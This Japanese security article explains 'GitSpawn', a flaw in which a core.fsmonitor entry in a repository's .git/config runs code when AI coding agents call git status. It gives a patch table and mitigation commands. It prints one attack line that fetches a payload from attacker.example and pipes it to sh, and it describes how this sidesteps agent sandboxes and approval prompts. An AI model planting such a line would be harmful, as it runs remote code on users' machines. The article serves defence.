GitSpawn:AIコーディングエージェント7種を貫いたgit config RCE脆弱性の全貌
「サンドボックスの外でコードが走った。承認プロンプトも出なかった。フォルダを開いただけで」。Hacker Newsのスレッドにこう書いたエンジニアは、Claude Codeで同僚から受け取ったリポジトリアーカイブを開いた直後に予期しないプロセスが起動するのを確認した(HN #48976201, 2026年9月)。
2026年9月1日、セキュリティ研究会社Manifold Securityが「GitSpawn」と命名した脆弱性クラスを公開した(Manifold Security公式ブログ)。Claude Code、Codex、Cursor、Grok Build、Hermes Agent、Qwen Code、Gooseの計7エージェントを対象に8件の固有脆弱性を発見。攻撃手法は単純かつ深刻だ。リポジトリの.git/configファイルに仕込まれた1行のgit設定が、AIエージェントの起動時にRCE(Remote Code Execution:任意コード実行)をユーザー権限で引き起こす。
- Claude Code・Codex・Cursorを日常的に使用するエンジニア
- 外部から受け取ったリポジトリをAIコーディングエージェントで開いたことがある開発者
- DevSecOps担当・CTO・開発チームのセキュリティ責任者
GitSpawnとは何か:フォルダを開いた瞬間にコードが走る
GitSpawnの仕組みを理解するには、まずGitのcore.fsmonitor設定を知る必要がある。これはもともとMicrosoftが大規模リポジトリ向けに設計した正規のパフォーマンス機能だ。ファイル数が数十万に及ぶWindowsやChromeのようなモノレポでは、git statusのたびに全ファイルをstatすると遅すぎる。core.fsmonitorにヘルパープログラムのパスを設定すると、Gitはそのプログラムに「何が変わったか教えてくれ」と聞く。これが問題の根源になった。
AIコーディングエージェントはプロジェクトを開くと、まずgit statusを実行してリポジトリの状態を把握する。これは意図的な設計だ。変更ファイル、ブランチ名、コンフリクト状況を一発で把握するために各エージェントが実装している。ところがGitはgit status実行時に.git/configを読み込み、core.fsmonitorに設定されたプログラムを即座に起動する。ここに罠がある。
攻撃者が用意するのはたった1行だ。
[core]
fsmonitor = /bin/bash -c 'curl -s https://attacker.example/payload | sh'
このファイルを含むリポジトリをZIPで受け取り、AIエージェントで開いた瞬間に、ユーザーの権限でcurlが走り、リモートのペイロードが実行される。承認プロンプトは一切出ない。エージェントのサンドボックスの外で、モデルレベルのツール承認フローが始まる前に実行が完了する(The Hacker News, 2026年9月)。
DEV Communityの投稿者は「最も恐ろしい点は、エージェントが悪さをしているのではなく、Gitがやっていること。エージェントのどのセキュリティ機能も意味をなさない」と書いた(DEV Community, 2026年9月)。
被害範囲:7エージェントすべてが脆弱だった
Manifold Securityは7エージェントを対象に計8件の個別脆弱性を発見・報告した。以下が開示時点(2026年9月2日)のパッチ状況だ。
| エージェント | 開発元 | パッチ状況(9月2日時点) |
|---|---|---|
| Claude Code | Anthropic | v2.1.196でcore.fsmonitorパス修正。ultrareviewパスは未修正 |
| Codex CLI | OpenAI | パッチ済み |
| Cursor | Cursor Inc | パッチ済み |
| Goose | AAIF(旧Block) | v1.44.0でパッチ済み |
| Hermes Agent | Nous Research | 未修正 |
| Qwen Code | Alibaba | 未修正 |
| Grok Build | xAI | 未修正 |
特に注目すべきはClaude Codeの状況だ。core.fsmonitorの経路はv2.1.196で修正された。しかし「ultrareview」(core.fsmonitorを経由するgit status以外のコードパス)と呼ばれる2つ目の攻撃経路は、v2.1.252時点でも未修正のままだったと報告されている。Claudeのセキュリティチームはこれを内部チケットの複製として処理し、公開時点で未修正だった(Manifold Security Blog)。
「git cloneは安全」だが落とし穴がある
重要な区別がある。通常のgit cloneはGitSpawnの影響を受けないとされている(Manifold Security調査時点)。GitHubやGitLabからgit cloneした場合、ソースリポジトリの.git/configはコピーされない。自分のリモートURL設定と追跡ブランチが新しい.git/configに書かれるだけだ。
危険なのは次のケースだ。
- ZIPアーカイブで受け取ったリポジトリ(
.git/ディレクトリごと含まれる) - USBドライブや共有フォルダ経由のリポジトリコピー
- dev-containerイメージやDockerボリューム内のリポジトリ
- メール添付やSlack/Discordでのアーカイブ共有
Cloud Security Alliance(CSA)は「特に信頼できないコントリビューターが多いオープンソースのローカルフォーク作業に注意が必要だ」と指摘する(CSA Research Note, 2026年9月)。
また、.git/configを手動で確認することも有効だが、core.fsmonitor以外にもcore.hooksPathなどの悪用可能な設定が存在する点に注意が必要だ。
今すぐできる対策
最優先の設定変更:
# グローバルでcore.fsmonitorを無効化
git config --global core.fsmonitor false
# グローバルでhooksPathも制限(念のため)
git config --global core.hooksPath /dev/null
リポジトリを開く前の確認:
# .git/configの内容を確認してから開く
grep -E "fsmonitor|hooksPath" /path/to/received-repo/.git/config
Claude Codeのバージョン確認:
claude --version
# 2.1.196以上であることを確認
# 最新版へのアップデート
npm update -g @anthropic-ai/claude-code
根本的な修正として、Manifold Securityはすべてのバックグラウンドgitコマンドへのフラグ追加を推奨する。具体的には-c core.fsmonitor=false -c core.hooksPath=/dev/nullを付与する方法だ。Claude Codeはv2.1.196でこの対応を実装した。
AIエージェントのセキュリティに関する構造的な課題
GitSpawnはPlugin4Shellと同様、AIエージェントの信頼境界に関わる本質的な問題を提起している。モデルレベルのツール承認機能は強化されているが、エージェントが起動前に実行する低レベルなシステム操作のセキュリティは見落とされがちだ。
GitSpawnの発見者は「最も皮肉なのは、これはAIの問題ではなく、Gitの問題だという点だ。AIエージェントはgit statusを安全だと思って実行しているが、Gitがリポジトリの設定を実行してしまう」と述べている(shattered.io, 2026年9月)。
今後AIコーディングエージェントがあらゆる開発環境に普及するにつれ、リポジトリを受け取ること自体がセキュリティリスクになる時代に突入しつつある。ZIP展開前の静的スキャン、.git/configの自動検査、エージェント起動前のホワイトリストチェックなど、新しいセキュリティプラクティスの確立が求められる。
git config --global core.fsmonitor falseを設定済みか- Claude Codeがv2.1.196以上か(
claude --versionで確認) - 外部から受け取ったリポジトリを開く前に
.git/configを確認しているか - ZIPアーカイブで受け取ったリポジトリの取り扱いルールをチームで共有しているか
今すぐClaude Codeのセキュリティ設定を見直そう。ultrareviewパスへの対応を含む詳細な設定手順は制限モード完全ガイドを読む →
関連記事
- Plugin4Shell:4大AIコーディングエージェントのSHAピンを破るゼロクリックRCE
- AgentJacking:MCPサーバー経由でClaude CodeとCursorを乗っ取る攻撃手法
- Claude Code セキュリティガイド:プラグイン管理のベストプラクティス
- Claude Code 制限モード(CI/CDセキュリティ設定)完全ガイド
免責事項: 本記事は情報提供を目的としており、特定の製品やサービスの安全性を保証するものではありません。セキュリティ上の判断は自己責任でお願いします。脆弱性情報は開示時点のものであり、最新の状況は各ベンダーの公式情報をご確認ください。